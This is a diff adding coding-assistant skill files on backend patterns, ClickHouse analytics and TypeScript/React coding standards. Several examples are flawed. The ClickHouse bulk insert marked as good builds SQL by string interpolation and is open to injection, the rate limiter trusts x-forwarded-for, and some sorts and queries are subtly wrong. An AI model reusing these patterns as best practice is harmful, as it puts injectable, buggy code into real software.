+- Verify target isn't using unsupported protocol

skills/cc-skill-backend-patterns/SKILL.md

@@ -0,0 +1,584 @@
+---
+name: backend-patterns
+description: Backend architecture patterns, API design, database optimization, and server-side best practices for Node.js, Express, and Next.js API routes.
+author: affaan-m
+version: "1.0"
+---
+
+# Backend Development Patterns
+
+Backend architecture patterns and best practices for scalable server-side applications.
+
+## API Design Patterns
+
+### RESTful API Structure
+
+```typescript
+// ✅ Resource-based URLs
+GET    /api/markets                 # List resources
+GET    /api/markets/:id             # Get single resource
+POST   /api/markets                 # Create resource
+PUT    /api/markets/:id             # Replace resource
+PATCH  /api/markets/:id             # Update resource
+DELETE /api/markets/:id             # Delete resource
+
+// ✅ Query parameters for filtering, sorting, pagination
+GET /api/markets?status=active&sort=volume&limit=20&offset=0
+```
+
+### Repository Pattern
+
+```typescript
+// Abstract data access logic
+interface MarketRepository {
+  findAll(filters?: MarketFilters): Promise<Market[]>
+  findById(id: string): Promise<Market | null>
+  create(data: CreateMarketDto): Promise<Market>
+  update(id: string, data: UpdateMarketDto): Promise<Market>
+  delete(id: string): Promise<void>
+}
+
+class SupabaseMarketRepository implements MarketRepository {
+  async findAll(filters?: MarketFilters): Promise<Market[]> {
+    let query = supabase.from('markets').select('*')
+
+    if (filters?.status) {
+      query = query.eq('status', filters.status)
+    }
+
+    if (filters?.limit) {
+      query = query.limit(filters.limit)
+    }
+
+    const { data, error } = await query
+
+    if (error) throw new Error(error.message)
+    return data
+  }
+
+  // Other methods...
+}
+```
+
+### Service Layer Pattern
+
+```typescript
+// Business logic separated from data access
+class MarketService {
+  constructor(private marketRepo: MarketRepository) {}
+
+  async searchMarkets(query: string, limit: number = 10): Promise<Market[]> {
+    // Business logic
+    const embedding = await generateEmbedding(query)
+    const results = await this.vectorSearch(embedding, limit)
+
+    // Fetch full data
+    const markets = await this.marketRepo.findByIds(results.map(r => r.id))
+
+    // Sort by similarity
+    return markets.sort((a, b) => {
+      const scoreA = results.find(r => r.id === a.id)?.score || 0
+      const scoreB = results.find(r => r.id === b.id)?.score || 0
+      return scoreA - scoreB
+    })
+  }
+
+  private async vectorSearch(embedding: number[], limit: number) {
+    // Vector search implementation
+  }
+}
+```
+
+### Middleware Pattern
+
+```typescript
+// Request/response processing pipeline
+export function withAuth(handler: NextApiHandler): NextApiHandler {
+  return async (req, res) => {
+    const token = req.headers.authorization?.replace('Bearer ', '')
+
+    if (!token) {
+      return res.status(401).json({ error: 'Unauthorized' })
+    }
+
+    try {
+      const user = await verifyToken(token)
+      req.user = user
+      return handler(req, res)
+    } catch (error) {
+      return res.status(401).json({ error: 'Invalid token' })
+    }
+  }
+}
+
+// Usage
+export default withAuth(async (req, res) => {
+  // Handler has access to req.user
+})
+```
+
+## Database Patterns
+
+### Query Optimization
+
+```typescript
+// ✅ GOOD: Select only needed columns
+const { data } = await supabase
+  .from('markets')
+  .select('id, name, status, volume')
+  .eq('status', 'active')
+  .order('volume', { ascending: false })
+  .limit(10)
+
+// ❌ BAD: Select everything
+const { data } = await supabase
+  .from('markets')
+  .select('*')
+```
+
+### N+1 Query Prevention
+
+```typescript
+// ❌ BAD: N+1 query problem
+const markets = await getMarkets()
+for (const market of markets) {
+  market.creator = await getUser(market.creator_id)  // N queries
+}
+
+// ✅ GOOD: Batch fetch
+const markets = await getMarkets()
+const creatorIds = markets.map(m => m.creator_id)
+const creators = await getUsers(creatorIds)  // 1 query
+const creatorMap = new Map(creators.map(c => [c.id, c]))
+
+markets.forEach(market => {
+  market.creator = creatorMap.get(market.creator_id)
+})
+```
+
+### Transaction Pattern
+
+```typescript
+async function createMarketWithPosition(
+  marketData: CreateMarketDto,
+  positionData: CreatePositionDto
+) {
+  // Use Supabase transaction
+  const { data, error } = await supabase.rpc('create_market_with_position', {
+    market_data: marketData,
+    position_data: positionData
+  })
+
+  if (error) throw new Error('Transaction failed')
+  return data
+}
+
+// SQL function in Supabase
+CREATE OR REPLACE FUNCTION create_market_with_position(
+  market_data jsonb,
+  position_data jsonb
+)
+RETURNS jsonb
+LANGUAGE plpgsql
+AS $$
+BEGIN
+  -- Start transaction automatically
+  INSERT INTO markets VALUES (market_data);
+  INSERT INTO positions VALUES (position_data);
+  RETURN jsonb_build_object('success', true);
+EXCEPTION
+  WHEN OTHERS THEN
+    -- Rollback happens automatically
+    RETURN jsonb_build_object('success', false, 'error', SQLERRM);
+END;
+$$;
+```
+
+## Caching Strategies
+
+### Redis Caching Layer
+
+```typescript
+class CachedMarketRepository implements MarketRepository {
+  constructor(
+    private baseRepo: MarketRepository,
+    private redis: RedisClient
+  ) {}
+
+  async findById(id: string): Promise<Market | null> {
+    // Check cache first
+    const cached = await this.redis.get(`market:${id}`)
+
+    if (cached) {
+      return JSON.parse(cached)
+    }
+
+    // Cache miss - fetch from database
+    const market = await this.baseRepo.findById(id)
+
+    if (market) {
+      // Cache for 5 minutes
+      await this.redis.setex(`market:${id}`, 300, JSON.stringify(market))
+    }
+
+    return market
+  }
+
+  async invalidateCache(id: string): Promise<void> {
+    await this.redis.del(`market:${id}`)
+  }
+}
+```
+
+### Cache-Aside Pattern
+
+```typescript
+async function getMarketWithCache(id: string): Promise<Market> {
+  const cacheKey = `market:${id}`
+
+  // Try cache
+  const cached = await redis.get(cacheKey)
+  if (cached) return JSON.parse(cached)
+
+  // Cache miss - fetch from DB
+  const market = await db.markets.findUnique({ where: { id } })
+
+  if (!market) throw new Error('Market not found')
+
+  // Update cache
+  await redis.setex(cacheKey, 300, JSON.stringify(market))
+
+  return market
+}
+```
+
+## Error Handling Patterns
+
+### Centralized Error Handler
+
+```typescript
+class ApiError extends Error {
+  constructor(
+    public statusCode: number,
+    public message: string,
+    public isOperational = true
+  ) {
+    super(message)
+    Object.setPrototypeOf(this, ApiError.prototype)
+  }
+}
+
+export function errorHandler(error: unknown, req: Request): Response {
+  if (error instanceof ApiError) {
+    return NextResponse.json({
+      success: false,
+      error: error.message
+    }, { status: error.statusCode })
+  }
+
+  if (error instanceof z.ZodError) {
+    return NextResponse.json({
+      success: false,
+      error: 'Validation failed',
+      details: error.errors
+    }, { status: 400 })
+  }
+
+  // Log unexpected errors
+  console.error('Unexpected error:', error)
+
+  return NextResponse.json({
+    success: false,
+    error: 'Internal server error'
+  }, { status: 500 })
+}
+
+// Usage
+export async function GET(request: Request) {
+  try {
+    const data = await fetchData()
+    return NextResponse.json({ success: true, data })
+  } catch (error) {
+    return errorHandler(error, request)
+  }
+}
+```
+
+### Retry with Exponential Backoff
+
+```typescript
+async function fetchWithRetry<T>(
+  fn: () => Promise<T>,
+  maxRetries = 3
+): Promise<T> {
+  let lastError: Error
+
+  for (let i = 0; i < maxRetries; i++) {
+    try {
+      return await fn()
+    } catch (error) {
+      lastError = error as Error
+
+      if (i < maxRetries - 1) {
+        // Exponential backoff: 1s, 2s, 4s
+        const delay = Math.pow(2, i) * 1000
+        await new Promise(resolve => setTimeout(resolve, delay))
+      }
+    }
+  }
+
+  throw lastError!
+}
+
+// Usage
+const data = await fetchWithRetry(() => fetchFromAPI())
+```
+
+## Authentication & Authorization
+
+### JWT Token Validation
+
+```typescript
+import jwt from 'jsonwebtoken'
+
+interface JWTPayload {
+  userId: string
+  email: string
+  role: 'admin' | 'user'
+}
+
+export function verifyToken(token: string): JWTPayload {
+  try {
+    const payload = jwt.verify(token, process.env.JWT_SECRET!) as JWTPayload
+    return payload
+  } catch (error) {
+    throw new ApiError(401, 'Invalid token')
+  }
+}
+
+export async function requireAuth(request: Request) {
+  const token = request.headers.get('authorization')?.replace('Bearer ', '')
+
+  if (!token) {
+    throw new ApiError(401, 'Missing authorization token')
+  }
+
+  return verifyToken(token)
+}
+
+// Usage in API route
+export async function GET(request: Request) {
+  const user = await requireAuth(request)
+
+  const data = await getDataForUser(user.userId)
+
+  return NextResponse.json({ success: true, data })
+}
+```
+
+### Role-Based Access Control
+
+```typescript
+type Permission = 'read' | 'write' | 'delete' | 'admin'
+
+interface User {
+  id: string
+  role: 'admin' | 'moderator' | 'user'
+}
+
+const rolePermissions: Record<User['role'], Permission[]> = {
+  admin: ['read', 'write', 'delete', 'admin'],
+  moderator: ['read', 'write', 'delete'],
+  user: ['read', 'write']
+}
+
+export function hasPermission(user: User, permission: Permission): boolean {
+  return rolePermissions[user.role].includes(permission)
+}
+
+export function requirePermission(permission: Permission) {
+  return async (request: Request) => {
+    const user = await requireAuth(request)
+
+    if (!hasPermission(user, permission)) {
+      throw new ApiError(403, 'Insufficient permissions')
+    }
+
+    return user
+  }
+}
+
+// Usage
+export const DELETE = requirePermission('delete')(async (request: Request) => {
+  // Handler with permission check
+})
+```
+
+## Rate Limiting
+
+### Simple In-Memory Rate Limiter
+
+```typescript
+class RateLimiter {
+  private requests = new Map<string, number[]>()
+
+  async checkLimit(
+    identifier: string,
+    maxRequests: number,
+    windowMs: number
+  ): Promise<boolean> {
+    const now = Date.now()
+    const requests = this.requests.get(identifier) || []
+
+    // Remove old requests outside window
+    const recentRequests = requests.filter(time => now - time < windowMs)
+
+    if (recentRequests.length >= maxRequests) {
+      return false  // Rate limit exceeded
+    }
+
+    // Add current request
+    recentRequests.push(now)
+    this.requests.set(identifier, recentRequests)
+
+    return true
+  }
+}
+
+const limiter = new RateLimiter()
+
+export async function GET(request: Request) {
+  const ip = request.headers.get('x-forwarded-for') || 'unknown'
+
+  const allowed = await limiter.checkLimit(ip, 100, 60000)  // 100 req/min
+
+  if (!allowed) {
+    return NextResponse.json({
+      error: 'Rate limit exceeded'
+    }, { status: 429 })
+  }
+
+  // Continue with request
+}
+```
+
+## Background Jobs & Queues
+
+### Simple Queue Pattern
+
+```typescript
+class JobQueue<T> {
+  private queue: T[] = []
+  private processing = false
+
+  async add(job: T): Promise<void> {
+    this.queue.push(job)
+
+    if (!this.processing) {
+      this.process()
+    }
+  }
+
+  private async process(): Promise<void> {
+    this.processing = true
+
+    while (this.queue.length > 0) {
+      const job = this.queue.shift()!
+
+      try {
+        await this.execute(job)
+      } catch (error) {
+        console.error('Job failed:', error)
+      }
+    }
+
+    this.processing = false
+  }
+
+  private async execute(job: T): Promise<void> {
+    // Job execution logic
+  }
+}
+
+// Usage for indexing markets
+interface IndexJob {
+  marketId: string
+}
+
+const indexQueue = new JobQueue<IndexJob>()
+
+export async function POST(request: Request) {
+  const { marketId } = await request.json()
+
+  // Add to queue instead of blocking
+  await indexQueue.add({ marketId })
+
+  return NextResponse.json({ success: true, message: 'Job queued' })
+}
+```
+
+## Logging & Monitoring
+
+### Structured Logging
+
+```typescript
+interface LogContext {
+  userId?: string
+  requestId?: string
+  method?: string
+  path?: string
+  [key: string]: unknown
+}
+
+class Logger {
+  log(level: 'info' | 'warn' | 'error', message: string, context?: LogContext) {
+    const entry = {
+      timestamp: new Date().toISOString(),
+      level,
+      message,
+      ...context
+    }
+
+    console.log(JSON.stringify(entry))
+  }
+
+  info(message: string, context?: LogContext) {
+    this.log('info', message, context)
+  }
+
+  warn(message: string, context?: LogContext) {
+    this.log('warn', message, context)
+  }
+
+  error(message: string, error: Error, context?: LogContext) {
+    this.log('error', message, {
+      ...context,
+      error: error.message,
+      stack: error.stack
+    })
+  }
+}
+
+const logger = new Logger()
+
+// Usage
+export async function GET(request: Request) {
+  const requestId = crypto.randomUUID()
+
+  logger.info('Fetching markets', {
+    requestId,
+    method: 'GET',
+    path: '/api/markets'
+  })
+
+  try {
+    const markets = await fetchMarkets()
+    return NextResponse.json({ success: true, data: markets })
+  } catch (error) {
+    logger.error('Failed to fetch markets', error as Error, { requestId })
+    return NextResponse.json({ error: 'Internal error' }, { status: 500 })
+  }
+}
+```
+
+**Remember**: Backend patterns enable scalable, maintainable server-side applications. Choose patterns that fit your complexity level.

skills/cc-skill-clickhouse-io/SKILL.md

@@ -0,0 +1,431 @@
+---
+name: clickhouse-io
+description: ClickHouse database patterns, query optimization, analytics, and data engineering best practices for high-performance analytical workloads.
+author: affaan-m
+version: "1.0"
+---
+
+# ClickHouse Analytics Patterns
+
+ClickHouse-specific patterns for high-performance analytics and data engineering.
+
+## Overview
+
+ClickHouse is a column-oriented database management system (DBMS) for online analytical processing (OLAP). It's optimized for fast analytical queries on large datasets.
+
+**Key Features:**
+- Column-oriented storage
+- Data compression
+- Parallel query execution
+- Distributed queries
+- Real-time analytics
+
+## Table Design Patterns
+
+### MergeTree Engine (Most Common)
+
+```sql
+CREATE TABLE markets_analytics (
+    date Date,
+    market_id String,
+    market_name String,
+    volume UInt64,
+    trades UInt32,
+    unique_traders UInt32,
+    avg_trade_size Float64,
+    created_at DateTime
+) ENGINE = MergeTree()
+PARTITION BY toYYYYMM(date)
+ORDER BY (date, market_id)
+SETTINGS index_granularity = 8192;
+```
+
+### ReplacingMergeTree (Deduplication)
+
+```sql
+-- For data that may have duplicates (e.g., from multiple sources)
+CREATE TABLE user_events (
+    event_id String,
+    user_id String,
+    event_type String,
+    timestamp DateTime,
+    properties String
+) ENGINE = ReplacingMergeTree()
+PARTITION BY toYYYYMM(timestamp)
+ORDER BY (user_id, event_id, timestamp)
+PRIMARY KEY (user_id, event_id);
+```
+
+### AggregatingMergeTree (Pre-aggregation)
+
+```sql
+-- For maintaining aggregated metrics
+CREATE TABLE market_stats_hourly (
+    hour DateTime,
+    market_id String,
+    total_volume AggregateFunction(sum, UInt64),
+    total_trades AggregateFunction(count, UInt32),
+    unique_users AggregateFunction(uniq, String)
+) ENGINE = AggregatingMergeTree()
+PARTITION BY toYYYYMM(hour)
+ORDER BY (hour, market_id);
+
+-- Query aggregated data
+SELECT
+    hour,
+    market_id,
+    sumMerge(total_volume) AS volume,
+    countMerge(total_trades) AS trades,
+    uniqMerge(unique_users) AS users
+FROM market_stats_hourly
+WHERE hour >= toStartOfHour(now() - INTERVAL 24 HOUR)
+GROUP BY hour, market_id
+ORDER BY hour DESC;
+```
+
+## Query Optimization Patterns
+
+### Efficient Filtering
+
+```sql
+-- ✅ GOOD: Use indexed columns first
+SELECT *
+FROM markets_analytics
+WHERE date >= '2025-01-01'
+  AND market_id = 'market-123'
+  AND volume > 1000
+ORDER BY date DESC
+LIMIT 100;
+
+-- ❌ BAD: Filter on non-indexed columns first
+SELECT *
+FROM markets_analytics
+WHERE volume > 1000
+  AND market_name LIKE '%election%'
+  AND date >= '2025-01-01';
+```
+
+### Aggregations
+
+```sql
+-- ✅ GOOD: Use ClickHouse-specific aggregation functions
+SELECT
+    toStartOfDay(created_at) AS day,
+    market_id,
+    sum(volume) AS total_volume,
+    count() AS total_trades,
+    uniq(trader_id) AS unique_traders,
+    avg(trade_size) AS avg_size
+FROM trades
+WHERE created_at >= today() - INTERVAL 7 DAY
+GROUP BY day, market_id
+ORDER BY day DESC, total_volume DESC;
+
+-- ✅ Use quantile for percentiles (more efficient than percentile)
+SELECT
+    quantile(0.50)(trade_size) AS median,
+    quantile(0.95)(trade_size) AS p95,
+    quantile(0.99)(trade_size) AS p99
+FROM trades
+WHERE created_at >= now() - INTERVAL 1 HOUR;
+```
+
+### Window Functions
+
+```sql
+-- Calculate running totals
+SELECT
+    date,
+    market_id,
+    volume,
+    sum(volume) OVER (
+        PARTITION BY market_id
+        ORDER BY date
+        ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW
+    ) AS cumulative_volume
+FROM markets_analytics
+WHERE date >= today() - INTERVAL 30 DAY
+ORDER BY market_id, date;
+```
+
+## Data Insertion Patterns
+
+### Bulk Insert (Recommended)
+
+```typescript
+import { ClickHouse } from 'clickhouse'
+
+const clickhouse = new ClickHouse({
+  url: process.env.CLICKHOUSE_URL,
+  port: 8123,
+  basicAuth: {
+    username: process.env.CLICKHOUSE_USER,
+    password: process.env.CLICKHOUSE_PASSWORD
+  }
+})
+
+// ✅ Batch insert (efficient)
+async function bulkInsertTrades(trades: Trade[]) {
+  const values = trades.map(trade => `(
+    '${trade.id}',
+    '${trade.market_id}',
+    '${trade.user_id}',
+    ${trade.amount},
+    '${trade.timestamp.toISOString()}'
+  )`).join(',')
+
+  await clickhouse.query(`
+    INSERT INTO trades (id, market_id, user_id, amount, timestamp)
+    VALUES ${values}
+  `).toPromise()
+}
+
+// ❌ Individual inserts (slow)
+async function insertTrade(trade: Trade) {
+  // Don't do this in a loop!
+  await clickhouse.query(`
+    INSERT INTO trades VALUES ('${trade.id}', ...)
+  `).toPromise()
+}
+```
+
+### Streaming Insert
+
+```typescript
+// For continuous data ingestion
+import { createWriteStream } from 'fs'
+import { pipeline } from 'stream/promises'
+
+async function streamInserts() {
+  const stream = clickhouse.insert('trades').stream()
+
+  for await (const batch of dataSource) {
+    stream.write(batch)
+  }
+
+  await stream.end()
+}
+```
+
+## Materialized Views
+
+### Real-time Aggregations
+
+```sql
+-- Create materialized view for hourly stats
+CREATE MATERIALIZED VIEW market_stats_hourly_mv
+TO market_stats_hourly
+AS SELECT
+    toStartOfHour(timestamp) AS hour,
+    market_id,
+    sumState(amount) AS total_volume,
+    countState() AS total_trades,
+    uniqState(user_id) AS unique_users
+FROM trades
+GROUP BY hour, market_id;
+
+-- Query the materialized view
+SELECT
+    hour,
+    market_id,
+    sumMerge(total_volume) AS volume,
+    countMerge(total_trades) AS trades,
+    uniqMerge(unique_users) AS users
+FROM market_stats_hourly
+WHERE hour >= now() - INTERVAL 24 HOUR
+GROUP BY hour, market_id;
+```
+
+## Performance Monitoring
+
+### Query Performance
+
+```sql
+-- Check slow queries
+SELECT
+    query_id,
+    user,
+    query,
+    query_duration_ms,
+    read_rows,
+    read_bytes,
+    memory_usage
+FROM system.query_log
+WHERE type = 'QueryFinish'
+  AND query_duration_ms > 1000
+  AND event_time >= now() - INTERVAL 1 HOUR
+ORDER BY query_duration_ms DESC
+LIMIT 10;
+```
+
+### Table Statistics
+
+```sql
+-- Check table sizes
+SELECT
+    database,
+    table,
+    formatReadableSize(sum(bytes)) AS size,
+    sum(rows) AS rows,
+    max(modification_time) AS latest_modification
+FROM system.parts
+WHERE active
+GROUP BY database, table
+ORDER BY sum(bytes) DESC;
+```
+
+## Common Analytics Queries
+
+### Time Series Analysis
+
+```sql
+-- Daily active users
+SELECT
+    toDate(timestamp) AS date,
+    uniq(user_id) AS daily_active_users
+FROM events
+WHERE timestamp >= today() - INTERVAL 30 DAY
+GROUP BY date
+ORDER BY date;
+
+-- Retention analysis
+SELECT
+    signup_date,
+    countIf(days_since_signup = 0) AS day_0,
+    countIf(days_since_signup = 1) AS day_1,
+    countIf(days_since_signup = 7) AS day_7,
+    countIf(days_since_signup = 30) AS day_30
+FROM (
+    SELECT
+        user_id,
+        min(toDate(timestamp)) AS signup_date,
+        toDate(timestamp) AS activity_date,
+        dateDiff('day', signup_date, activity_date) AS days_since_signup
+    FROM events
+    GROUP BY user_id, activity_date
+)
+GROUP BY signup_date
+ORDER BY signup_date DESC;
+```
+
+### Funnel Analysis
+
+```sql
+-- Conversion funnel
+SELECT
+    countIf(step = 'viewed_market') AS viewed,
+    countIf(step = 'clicked_trade') AS clicked,
+    countIf(step = 'completed_trade') AS completed,
+    round(clicked / viewed * 100, 2) AS view_to_click_rate,
+    round(completed / clicked * 100, 2) AS click_to_completion_rate
+FROM (
+    SELECT
+        user_id,
+        session_id,
+        event_type AS step
+    FROM events
+    WHERE event_date = today()
+)
+GROUP BY session_id;
+```
+
+### Cohort Analysis
+
+```sql
+-- User cohorts by signup month
+SELECT
+    toStartOfMonth(signup_date) AS cohort,
+    toStartOfMonth(activity_date) AS month,
+    dateDiff('month', cohort, month) AS months_since_signup,
+    count(DISTINCT user_id) AS active_users
+FROM (
+    SELECT
+        user_id,
+        min(toDate(timestamp)) OVER (PARTITION BY user_id) AS signup_date,
+        toDate(timestamp) AS activity_date
+    FROM events
+)
+GROUP BY cohort, month, months_since_signup
+ORDER BY cohort, months_since_signup;
+```
+
+## Data Pipeline Patterns
+
+### ETL Pattern
+
+```typescript
+// Extract, Transform, Load
+async function etlPipeline() {
+  // 1. Extract from source
+  const rawData = await extractFromPostgres()
+
+  // 2. Transform
+  const transformed = rawData.map(row => ({
+    date: new Date(row.created_at).toISOString().split('T')[0],
+    market_id: row.market_slug,
+    volume: parseFloat(row.total_volume),
+    trades: parseInt(row.trade_count)
+  }))
+
+  // 3. Load to ClickHouse
+  await bulkInsertToClickHouse(transformed)
+}
+
+// Run periodically
+setInterval(etlPipeline, 60 * 60 * 1000)  // Every hour
+```
+
+### Change Data Capture (CDC)
+
+```typescript
+// Listen to PostgreSQL changes and sync to ClickHouse
+import { Client } from 'pg'
+
+const pgClient = new Client({ connectionString: process.env.DATABASE_URL })
+
+pgClient.query('LISTEN market_updates')
+
+pgClient.on('notification', async (msg) => {
+  const update = JSON.parse(msg.payload)
+
+  await clickhouse.insert('market_updates', [
+    {
+      market_id: update.id,
+      event_type: update.operation,  // INSERT, UPDATE, DELETE
+      timestamp: new Date(),
+      data: JSON.stringify(update.new_data)
+    }
+  ])
+})
+```
+
+## Best Practices
+
+### 1. Partitioning Strategy
+- Partition by time (usually month or day)
+- Avoid too many partitions (performance impact)
+- Use DATE type for partition key
+
+### 2. Ordering Key
+- Put most frequently filtered columns first
+- Consider cardinality (high cardinality first)
+- Order impacts compression
+
+### 3. Data Types
+- Use smallest appropriate type (UInt32 vs UInt64)
+- Use LowCardinality for repeated strings
+- Use Enum for categorical data
+
+### 4. Avoid
+- SELECT * (specify columns)
+- FINAL (merge data before query instead)
+- Too many JOINs (denormalize for analytics)
+- Small frequent inserts (batch instead)
+
+### 5. Monitoring
+- Track query performance
+- Monitor disk usage
+- Check merge operations
+- Review slow query log
+
+**Remember**: ClickHouse excels at analytical workloads. Design tables for your query patterns, batch inserts, and leverage materialized views for real-time aggregations.

skills/cc-skill-coding-standards/SKILL.md

@@ -0,0 +1,522 @@
+---
+name: coding-standards
+description: Universal coding standards, best practices, and patterns for TypeScript, JavaScript, React, and Node.js development.
+author: affaan-m
+version: "1.0"
+---
+
+# Coding Standards & Best Practices
+
+Universal coding standards applicable across all projects.
+
+## Code Quality Principles
+
+### 1. Readability First
+- Code is read more than written
+- Clear variable and function names
+- Self-documenting code preferred over comments
+- Consistent formatting
+
+### 2. KISS (Keep It Simple, Stupid)
+- Simplest solution that works
+- Avoid over-engineering
+- No premature optimization
+- Easy to understand > clever code
+
+### 3. DRY (Don't Repeat Yourself)
+- Extract common logic into functions
+- Create reusable components
+- Share utilities across modules
+- Avoid copy-paste programming
+
+### 4. YAGNI (You Aren't Gonna Need It)
+- Don't build features before they're needed
+- Avoid speculative generality
+- Add complexity only when required
+- Start simple, refactor when needed
+
+## TypeScript/JavaScript Standards
+
+### Variable Naming
+
+```typescript
+// ✅ GOOD: Descriptive names
+const marketSearchQuery = 'election'
+const isUserAuthenticated = true
+const totalRevenue = 1000
+
+// ❌ BAD: Unclear names
+const q = 'election'
+const flag = true
+const x = 1000
+```
+
+### Function Naming
+
+```typescript
+// ✅ GOOD: Verb-noun pattern
+async function fetchMarketData(marketId: string) { }
+function calculateSimilarity(a: number[], b: number[]) { }
+function isValidEmail(email: string): boolean { }
+
+// ❌ BAD: Unclear or noun-only
+async function market(id: string) { }
+function similarity(a, b) { }
+function email(e) { }
+```
+
+### Immutability Pattern (CRITICAL)
+
+```typescript
+// ✅ ALWAYS use spread operator
+const updatedUser = {
+  ...user,
+  name: 'New Name'
+}
+
+const updatedArray = [...items, newItem]
+
+// ❌ NEVER mutate directly
+user.name = 'New Name'  // BAD
+items.push(newItem)     // BAD
+```
+
+### Error Handling
+
+```typescript
+// ✅ GOOD: Comprehensive error handling
+async function fetchData(url: string) {
+  try {
+    const response = await fetch(url)
+
+    if (!response.ok) {
+      throw new Error(`HTTP ${response.status}: ${response.statusText}`)
+    }
+
+    return await response.json()
+  } catch (error) {
+    console.error('Fetch failed:', error)
+    throw new Error('Failed to fetch data')
+  }
+}
+
+// ❌ BAD: No error handling
+async function fetchData(url) {
+  const response = await fetch(url)
+  return response.json()
+}
+```
+
+### Async/Await Best Practices
+
+```typescript
+// ✅ GOOD: Parallel execution when possible
+const [users, markets, stats] = await Promise.all([
+  fetchUsers(),
+  fetchMarkets(),
+  fetchStats()
+])
+
+// ❌ BAD: Sequential when unnecessary
+const users = await fetchUsers()
+const markets = await fetchMarkets()
+const stats = await fetchStats()
+```
+
+### Type Safety
+
+```typescript
+// ✅ GOOD: Proper types
+interface Market {
+  id: string
+  name: string
+  status: 'active' | 'resolved' | 'closed'
+  created_at: Date
+}
+
+function getMarket(id: string): Promise<Market> {
+  // Implementation
+}
+
+// ❌ BAD: Using 'any'
+function getMarket(id: any): Promise<any> {
+  // Implementation
+}
+```
+
+## React Best Practices
+
+### Component Structure
+
+```typescript
+// ✅ GOOD: Functional component with types
+interface ButtonProps {
+  children: React.ReactNode
+  onClick: () => void
+  disabled?: boolean
+  variant?: 'primary' | 'secondary'
+}
+
+export function Button({
+  children,
+  onClick,
+  disabled = false,
+  variant = 'primary'
+}: ButtonProps) {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled}
+      className={`btn btn-${variant}`}
+    >
+      {children}
+    </button>
+  )
+}
+
+// ❌ BAD: No types, unclear structure
+export function Button(props) {
+  return <button onClick={props.onClick}>{props.children}</button>
+}
+```
+
+### Custom Hooks
+
+```typescript
+// ✅ GOOD: Reusable custom hook
+export function useDebounce<T>(value: T, delay: number): T {
+  const [debouncedValue, setDebouncedValue] = useState<T>(value)
+
+  useEffect(() => {
+    const handler = setTimeout(() => {
+      setDebouncedValue(value)
+    }, delay)
+
+    return () => clearTimeout(handler)
+  }, [value, delay])
+
+  return debouncedValue
+}
+
+// Usage
+const debouncedQuery = useDebounce(searchQuery, 500)
+```
+
+### State Management
+
+```typescript
+// ✅ GOOD: Proper state updates
+const [count, setCount] = useState(0)
+
+// Functional update for state based on previous state
+setCount(prev => prev + 1)
+
+// ❌ BAD: Direct state reference
+setCount(count + 1)  // Can be stale in async scenarios
+```
+
+### Conditional Rendering
+
+```typescript
+// ✅ GOOD: Clear conditional rendering
+{isLoading && <Spinner />}
+{error && <ErrorMessage error={error} />}
+{data && <DataDisplay data={data} />}
+
+// ❌ BAD: Ternary hell
+{isLoading ? <Spinner /> : error ? <ErrorMessage error={error} /> : data ? <DataDisplay data={data} /> : null}
+```
+
+## API Design Standards
+
+### REST API Conventions
+
+```
+GET    /api/markets              # List all markets
+GET    /api/markets/:id          # Get specific market
+POST   /api/markets              # Create new market
+PUT    /api/markets/:id          # Update market (full)
+PATCH  /api/markets/:id          # Update market (partial)
+DELETE /api/markets/:id          # Delete market
+
+# Query parameters for filtering
+GET /api/markets?status=active&limit=10&offset=0
+```
+
+### Response Format
+
+```typescript
+// ✅ GOOD: Consistent response structure
+interface ApiResponse<T> {
+  success: boolean
+  data?: T
+  error?: string
+  meta?: {
+    total: number
+    page: number
+    limit: number
+  }
+}
+
+// Success response
+return NextResponse.json({
+  success: true,
+  data: markets,
+  meta: { total: 100, page: 1, limit: 10 }
+})
+
+// Error response
+return NextResponse.json({
+  success: false,
+  error: 'Invalid request'
+}, { status: 400 })
+```
+
+### Input Validation
+
+```typescript
+import { z } from 'zod'
+
+// ✅ GOOD: Schema validation
+const CreateMarketSchema = z.object({
+  name: z.string().min(1).max(200),
+  description: z.string().min(1).max(2000),
+  endDate: z.string().datetime(),
+  categories: z.array(z.string()).min(1)
+})
+
+export async function POST(request: Request) {
+  const body = await request.json()
+
+  try {
+    const validated = CreateMarketSchema.parse(body)
+    // Proceed with validated data
+  } catch (error) {
+    if (error instanceof z.ZodError) {
+      return NextResponse.json({
+        success: false,
+        error: 'Validation failed',
+        details: error.errors
+      }, { status: 400 })
+    }
+  }
+}
+```
+
+## File Organization
+
+### Project Structure
+
+```
+src/
+├── app/                    # Next.js App Router
+│   ├── api/               # API routes
+│   ├── markets/           # Market pages
+│   └── (auth)/           # Auth pages (route groups)
+├── components/            # React components
+│   ├── ui/               # Generic UI components
+│   ├── forms/            # Form components
+│   └── layouts/          # Layout components
+├── hooks/                # Custom React hooks
+├── lib/                  # Utilities and configs
+│   ├── api/             # API clients
+│   ├── utils/           # Helper functions
+│   └── constants/       # Constants
+├── types/                # TypeScript types
+└── styles/              # Global styles
+```
+
+### File Naming
+
+```
+components/Button.tsx          # PascalCase for components
+hooks/useAuth.ts              # camelCase with 'use' prefix
+lib/formatDate.ts             # camelCase for utilities
+types/market.types.ts         # camelCase with .types suffix
+```
+
+## Comments & Documentation
+
+### When to Comment
+
+```typescript
+// ✅ GOOD: Explain WHY, not WHAT
+// Use exponential backoff to avoid overwhelming the API during outages
+const delay = Math.min(1000 * Math.pow(2, retryCount), 30000)
+
+// Deliberately using mutation here for performance with large arrays
+items.push(newItem)
+
+// ❌ BAD: Stating the obvious
+// Increment counter by 1
+count++
+
+// Set name to user's name
+name = user.name
+```
+
+### JSDoc for Public APIs
+
+```typescript
+/**
+ * Searches markets using semantic similarity.
+ *
+ * @param query - Natural language search query
+ * @param limit - Maximum number of results (default: 10)
+ * @returns Array of markets sorted by similarity score
+ * @throws {Error} If OpenAI API fails or Redis unavailable
+ *
+ * @example
+ * ```typescript
+ * const results = await searchMarkets('election', 5)
+ * console.log(results[0].name) // "Trump vs Biden"
+ * ```
+ */
+export async function searchMarkets(
+  query: string,
+  limit: number = 10
+): Promise<Market[]> {
+  // Implementation
+}
+```
+
+## Performance Best Practices
+
+### Memoization
+
+```typescript
+import { useMemo, useCallback } from 'react'
+
+// ✅ GOOD: Memoize expensive computations
+const sortedMarkets = useMemo(() => {
+  return markets.sort((a, b) => b.volume - a.volume)
+}, [markets])
+
+// ✅ GOOD: Memoize callbacks
+const handleSearch = useCallback((query: string) => {
+  setSearchQuery(query)
+}, [])
+```
+
+### Lazy Loading
+
+```typescript
+import { lazy, Suspense } from 'react'
+
